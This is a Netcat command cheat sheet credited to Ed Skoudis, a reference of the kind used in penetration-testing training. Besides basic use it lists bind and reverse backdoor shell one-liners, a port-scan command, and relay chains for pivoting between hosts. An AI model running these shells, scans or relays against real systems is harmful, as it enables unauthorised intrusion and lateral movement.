NETCAT

Contributor:
ED SKOUDIS @edskoudis

Fundamentals

FUNDAMENTAL NETCAT CLIENT:
$ nc [TargetIPaddr] [port]

Connect to an arbitrary port [port] at IP Address [TargetIPaddr]

FUNDAMENTAL NETCAT LISTENER:
$ nc –l -p [LocalPort]

Create a Netcat listener on arbitrary local port [LocalPort]

Both the client and listener take input from STDIN and send data received from the network to STDOUT

Netcat Command Flags

$ nc [options] [TargetIPaddr] [port(s)]

The [TargetIPaddr] is simply the other side's IP address or domain name. It is required in client mode, of course (because we have to tell the client where to connect), and it is optional in listen mode.

-l: Listen mode (default is client mode)

-L: Listen harder (supported only on Windows version of Netcat). This option makes Netcat a persistent listener that starts listening again after a client disconnects

-u: UDP mode (default is TCP)

-p: Local port (In listen mode, this is the port listened on; in client mode, this is the source port for all packets sent)

-e: Program to execute after connection occurs, connecting STDIN and STDOUT to the program

-n: Don't perform DNS lookups on names of machines on the other side

-z: Zero-I/O mode (Don't send any data, just emit a packet without payload)

-wN: Timeout for connects, waits for N seconds after closure of STDIN. A Netcat client or listener with this option will wait for N seconds to make a connection. If the connection doesn't happen in that time, Netcat stops running.

-v: Be verbose, printing out messages on Standard Error, such as when a connection occurs

-vv: Be very verbose, printing even more details on Standard Error

Backdoor Shells

LISTENING BACKDOOR SHELL ON LINUX:
$ nc –l –p [LocalPort] –e /bin/bash

LISTENING BACKDOOR SHELL ON WINDOWS:
C:\> nc –l –p [LocalPort] –e cmd.exe

Create a shell on local port [LocalPort] that can then be accessed using a fundamental Netcat client

REVERSE BACKDOOR SHELL ON LINUX:
$ nc [YourIPaddr] [port] –e /bin/bash

REVERSE BACKDOOR SHELL ON WINDOWS:
C:\> nc [YourIPaddr] [port] –e cmd.exe

Create a reverse shell that will attempt to connect to [YourIPaddr] on local port [port]. This shell can then be captured using a fundamental nc listener

TCP Port Scanner

PORT SCAN AN IP ADDRESS:
$ nc –v –n –z –w1 [TargetIPaddr] [start_port]-[end_port]

Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address [TargetIPaddr] running verbosely (-v on Linux, - vv on Windows), not resolving names (-n), without sending any data (-z), and waiting no more than 1 second for a connection to occur (-w1)

The randomize ports (-r) switch can be used to choose port numbers randomly in the range

Netcat Relays on Windows

To start, enter a temporary directory where we will create .bat files:
C:\> cd c:\temp

LISTENER-TO-CLIENT RELAY:
C:\> echo nc [TargetIPaddr] [port] > relay.bat
C:\> nc –l –p [LocalPort] –e relay.bat

Create a relay that sends packets from the local port [LocalPort] to a Netcat Client connected to [TargetIPaddr] on port [port]

LISTENER-TO-LISTENER RELAY:
C:\> echo nc –l –p [LocalPort_2] > relay.bat
C:\> nc –l –p [LocalPort_1] –e relay.bat

Create a relay that will send packets from any connection on [LocalPort_1] to any connection on [LocalPort_2]

CLIENT-TO-CLIENT RELAY:
C:\> echo nc [NextHopIPaddr] [port2] > relay.bat
C:\> nc [PreviousHopIPaddr] [port] –e relay.bat

Create a relay that will send packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat Client connected to [NextHopIPaddr] on port [port2]

Netcat Relays on Linux

To start, create a FIFO (named pipe) called backpipe:
$ cd /tmp
$ mknod backpipe p

LISTENER-TO-CLIENT RELAY:
$ nc –l –p [LocalPort] 0<backpipe | nc [TargetIPaddr] [port] | tee backpipe

Create a relay that sends packets from the local port [LocalPort] to a Netcat client connected to [TargetIPaddr] on port [port]

LISTENER-TO-LISTENER RELAY:
$ nc –l –p [LocalPort_1] 0<backpipe | nc –l –p [LocalPort_2] | tee backpipe

Create a relay that sends packets from any connection on [LocalPort_1] to any connection on [LocalPort_2]

CLIENT-TO-CLIENT RELAY:
$ nc [PreviousHopIPaddr] [port] 0<backpipe | nc [NextHopIPaddr] [port2] | tee backpipe

Create a relay that sends packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat client connected to [NextHopIPaddr] on port [port2]